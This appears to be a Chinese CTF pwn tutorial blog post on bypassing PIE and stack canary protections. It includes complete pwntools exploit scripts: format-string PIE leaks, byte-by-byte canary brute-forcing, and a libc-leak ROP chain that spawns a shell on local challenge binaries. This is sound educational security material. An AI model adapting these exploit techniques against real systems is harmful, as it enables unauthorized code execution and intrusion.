CTFpwn常见保护及绕过:pie,canary

pie:

简绍

官方的话来说:

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。

简单地说就是地址随机化

如何解决呢?我们需要得到一个函数pie地址,一般为0x55或0x56开头,去求pie_base及pie基址。跟libc利用很像。用得到的地址减去IDA里对应的函数地址得到pie_base之后我们就可以调用IDA中的函数。

例:

main_pie=0x1382

main(真实地址)=main_pie+pie_base

格式化字符串漏洞

简单说一下,格式化字符串漏洞就是printf输出的没有格式化字符串

printf("格式化字符串",参数...)

格式化字符串:

%c为单个字符形式

%s为多个字符形式

%d为数字形式

%f是转为浮点型

%x是转为十六进制形式,不带0x

%p是转为十六进制,但是带0x

%n 将%n之前打印出来的字符的个数存入到参数中

%n  printf写入的一个参数,要想写入参数

总之:通过printf的漏洞,去找偏移,让后通过要修改东西的的地址+%偏移+$n去泄露东西来做题

开pie保护的:

没有开:

两者一对比,就算不使用checksec,也可以看出是否开了pie保护(但一般还是需要checksec的)

例题

接下来,那一道经典的例题讲解pie保护的绕过方式(通过格式化字符串漏洞

checksec一下,NX,PIE保护(pwn2为文件名)

放入IDA中进行分析,审计代码,很直接,让我们输入数字选择要去的地方,之后我们继续跟进看看不同数字里边的情况

1:明显存在栈溢出,但我们没有pie基址。就算存在后门也不能直接用

这道题也是存在后门的

我们继续看2:

存在格式化字符串漏洞,这时我们要利用都找到了,但为了严谨再看一下剩下的选项

3:

跟进3发现什么都没有,实际上是被隐藏了,为什么这么说呢,当我们追踪后门的时候发现就这3中

思路就有了:

通过格式化字符串漏洞来泄露pie地址,之后计算得到pie_base,再通过栈迁移返回至后门函数获取shell

首先去找pie地址,%+数字$p,先设一个比较小的数字,之后通过pwndbg去找正确的偏移

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
       gdb.attach(p)
       pause()
p.recvuntil("Your choice :")
p.sendline(str(2))
p.recvuntil("Welcome to Terra_Cotta_Warriors")
bug()
p.send("%10$p")

p.interactive()

这里我们用10先去试试,打印出0x7ffd757b5690(红色框),我们可以发现下一个是0x56351c3e73a0 !!!而且还是main函数

 通过%11$p去泄露地址之后pie_base=pie-main-181,因为括号中为main+181所以需要减去181

之后直接进行栈溢出

完整的exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
       gdb.attach(p)
       pause()
p.recvuntil("Your choice :")
p.sendline(str(2))
p.recvuntil("Welcome to Terra_Cotta_Warriors")
#bug()
p.send("%11$p")

p.recvuntil("0x")
'''
pie=int(p.recv(13)[:-1],16)   ###另一种接收方式
'''
pie=int(p.recv(12),16)
print(hex(pie))
pie_base=pie-181-0x12EB
print(pie_base)
system=pie_base+0x129A

p.recvuntil("Your choice :")
p.sendline(str(1))
p.recvuntil("Welcome to Huashan_Mountain")
pay=b'a'*(0x20+8)+p64(system)
bug()
p.sendline(pay)

p.interactive()

打通本地

 canary

简绍

canary保护简单说防止栈溢出

通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖ebp,eip等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址让shellcode执行。
当启用栈保护时,函数开始执行的时候会先往栈底插入cookie信息,如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将cookie信息覆盖掉,导致栈保护检查失败而阻止shellcode的执行,避免漏洞利用成功。在linux中我们将cookie信息成为canary。

例题:

主要还是用过一道例题来讲canary,这道题没有开canary保护,但这道题解释了canary的原理

checksec一下,NX保护

IDA分析,setvbuf初始化函数,logo是ctfshow的标志没什么用

先跟进canary进行分析,很简单,打开canary文件,并把前4个值赋个global_canary,并关闭canary函数

之后跟进ctfshow函数,进行代码审计,第一个while循环没什么用,我们随便发送个数据就可以绕过,重点!!!!第二个read函数开始,存在栈溢出,但之后也是canary的原理

canary原理:开始我们注意到global_canary开始便被赋值给s1,memcmp是比较函数,比较global_canary和s1的前四个字节,这时我们需要注意到开头的定义,如果read在buf部分直接进行

栈溢出也会覆盖s1的值从而无法绕过memcmp函数比较而退出函数,这时我们就要去爆破canary的前四个字节分别是什么

采用逐字节爆破

exp:用python的循环判断函数,因为一个字节最多有0xff(255)个选择,所以我们循环255次

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

'''

p=process("./pwn1")

elf=ELF("./pwn1")

def bug():

        gdb.attach(p)

        pause()

'''

for i in range(255):

                 p=process("./pwn1")

                 p.recvuntil("How many bytes do you want to write to the buffer?\n>")

                 p.sendline(str(0xff))

                 p.recvuntil("$ ")

                 pay=b'a'*(32)+p8(i)

                 p.send(pay)

                 buf=p.recvall()

                 if b'Error *** Stack Smashing Detected *** : Canary Value Incorrect!\n' in buf:

                               p.close()

                               continue

                 else:

                               print(hex(i))

                               break

               

p.interactive()

进行第一个字节爆破,得到0x6c

这时,把0x6c加上在进行第二个字节爆破

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

'''

p=process("./pwn1")

elf=ELF("./pwn1")

def bug():

        gdb.attach(p)

        pause()

'''

for i in range(255):

                 p=process("./pwn1")

                 p.recvuntil("How many bytes do you want to write to the buffer?\n>")

                 p.sendline(str(0xff))

                 p.recvuntil("$ ")

                 pay=b'a'*(32)+b'\x6c'+p8(i)

                 p.send(pay)

                 buf=p.recvall()

                 if b'Error *** Stack Smashing Detected *** : Canary Value Incorrect!\n' in buf:

                               p.close()

                               continue

                 else:

                               print(hex(i))

                               break

               

p.interactive() 

第二次爆破,得到0x62

 exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

'''

p=process("./pwn1")

elf=ELF("./pwn1")

def bug():

        gdb.attach(p)

        pause()

'''

for i in range(255):

                 p=process("./pwn1")

                 p.recvuntil("How many bytes do you want to write to the buffer?\n>")

                 p.sendline(str(0xff))

                 p.recvuntil("$ ")

                 pay=b'a'*(32)+b'\x6c\x62'+p8(i)

                 p.send(pay)

                 buf=p.recvall()

                 if b'Error *** Stack Smashing Detected *** : Canary Value Incorrect!\n' in buf:

                               p.close()

                               continue

                 else:

                               print(hex(i))

                               break

               

p.interactive() 

 下同得到4个字节\x6c\x62\x73\x36,之后就是栈溢出rop链的构造

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
def bug():
        gdb.attach(p)
        pause()
flag=0x8048696
'''
for i in range(255):
                 p=process("./pwn1")
                 p.recvuntil("How many bytes do you want to write to the buffer?\n>")
                 p.sendline(str(0xff))
                 p.recvuntil("$ ")
                 pay=b'a'*(32)+b'\x6c\x62\x73\x36'+p8(i)
                 p.send(pay)
                 buf=p.recvall()
                 if b'Error *** Stack Smashing Detected *** : Canary Value Incorrect!\n' in buf:
                               p.close()
                               continue
                 else:
                               print(hex(i))
                               break
'''  
p.recvuntil("How many bytes do you want to write to the buffer?\n>")
p.sendline(str(0xff))
p.recvuntil("$ ")
pay=b'a'*(32)+b'\x6c\x62\x73\x36'+p32(0)*4+p32(flag)
bug()
p.send(pay)
             
p.interactive()       

 先填充垃圾数据32个,之后canary覆盖s1,s1实际只有4个字节的空间,0x10=16,0xc=12

剩下我们用p32(0)*3来填充,还得覆盖rbp所以为p32(0)*4,并且这道题有后门我们直接用

补充一下小知识:p8为一个字节,p32为4字节,p64为8字节

最后打通本地

chall

最后我们来一道综合题

checksec

保护全开啊,不过也不要害怕,猛猛冲

IDA分析,主函数感觉挺复杂,我们一点一点进行分析

首先,初始化函数,以及确定随机数的随机生成

之后for和if的嵌套,最外层是for循环,一共循环16次,第一个if else执行完成会进行第二个if判断,首先对代码有个大概的认识,不要被绕进去了,前15次都是去执行else

之后去分析else的内容,这段代码首先生成两个随机数 v7 和 v8,然后输出一个数学表达式和用户输入的数字 v5。接下来,它会检查用户输入的数字是否与 v7 + v8 相等,如果相等,则将 v5 的高32位设置为1。最后,它输出一个结果,表明用户输入的数字、计算得到的和以及 v5 的高32位。

 其实我们可以运行看,让我们计算随机数的和,并且应为无符号整型(unsigned int)我们可以用-1跳过

终端命令

 ./chall    ###chall为文件名

 之后就到这了,它检查变量v5的高32位(HIDWORD)是否为0。如果为0,则程序会以状态码-1退出。

 这里当时我被绕进去了,其实是有特殊情况的if语句,那就是当条件是否为0时

当我们用脚本跑完前边的15次循环,最后一次会进入if的语句块

这段代码生成了两个长度为15的随机字符串(数字范围是32到64),并将它们的总和输出到屏幕。

 这串代码用于从某个位置读取一个64位浮点数(__readfsqword)并从另一个位置读取一个字符串(readstr),然后返回该字符串转换为长整型后的值(atol)

 

 上边的值会赋值给v5,之后会去执行第二个if语句,所以我们需要保证这个数高四位不能全为0,还得保证数足够大,所以我选择0x100000ffff

 

 之后进入gift,有canary的标志,write会打印出许多地址

 之后我们用pwndbg进去看看,这需要我们去接受

 我们先canary会直接泄露出来,canary地址特点后两位为00,之后我们需要去找pie地址,第二个

明显是pie地址,这时我们可以计算出pie的基址,

这道题没有后门,我们还需要libc去做,这样我们需要泄露出一个正常的函数地址,来计算出libc_base,但是我们发现泄露的地址没有函数,libc_start_call_main(下称libc_call),这个函数我们不可以使用,因为找不到它的偏移(这里是因为虚拟机版本问题,一般libc_start_main(下称libc_main)可以被泄露出来)

 

 但是我们可以通过libc_call来计算出libc_main的地址,由此来得到libc_base,进而可以得到system,/bin/sh

exp:比较复杂,也有更简单的

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process('./chall')
elf=ELF('./chall')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
     gdb.attach(p)
     pause()
for i in range(15):
   p.recvuntil("?")
   p.sendline("-1")
p.recvuntil("= ? ")

#bug()
p.sendline(str(0x100000ffff))
canary=u64(p.recv(8))
print(hex(canary))
a=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(a))
pie=u64(p.recvuntil("\x55")[-6:].ljust(8,b'\x00'))
print(hex(pie))
b=u64(p.recvuntil("\xff")[-6:].ljust(8,b'\x00'))
print(hex(b))
c=u64(p.recv(8))
print(hex(c))
d=u64(p.recv(8))
print(hex(d))
e=u64(p.recv(8))
print(hex(e))
libc_call=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(libc_call))
pie_base=pie-0x1547-323
print(hex(pie_base))
libc_base=libc_call+176-128-libc.sym["__libc_start_main"]
print(hex(libc_base))
rdi=0x0000000000001713+pie_base
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()

pause()
pay=p64(canary)*2+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)
bug()
p.send(pay)

p.interactive()

 打通本地,其实也不难,只不过综合起来了,一些pwn大佬直接梭哈

 

 最后还有正常过加法循环的脚本,这里奉上(调用eval函数)

p.recvuntil("] ")
a=str(p.recvuntil(" =")[:-1])[2:-1]
print(eval(a))

  • 37
    点赞
  • 50
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值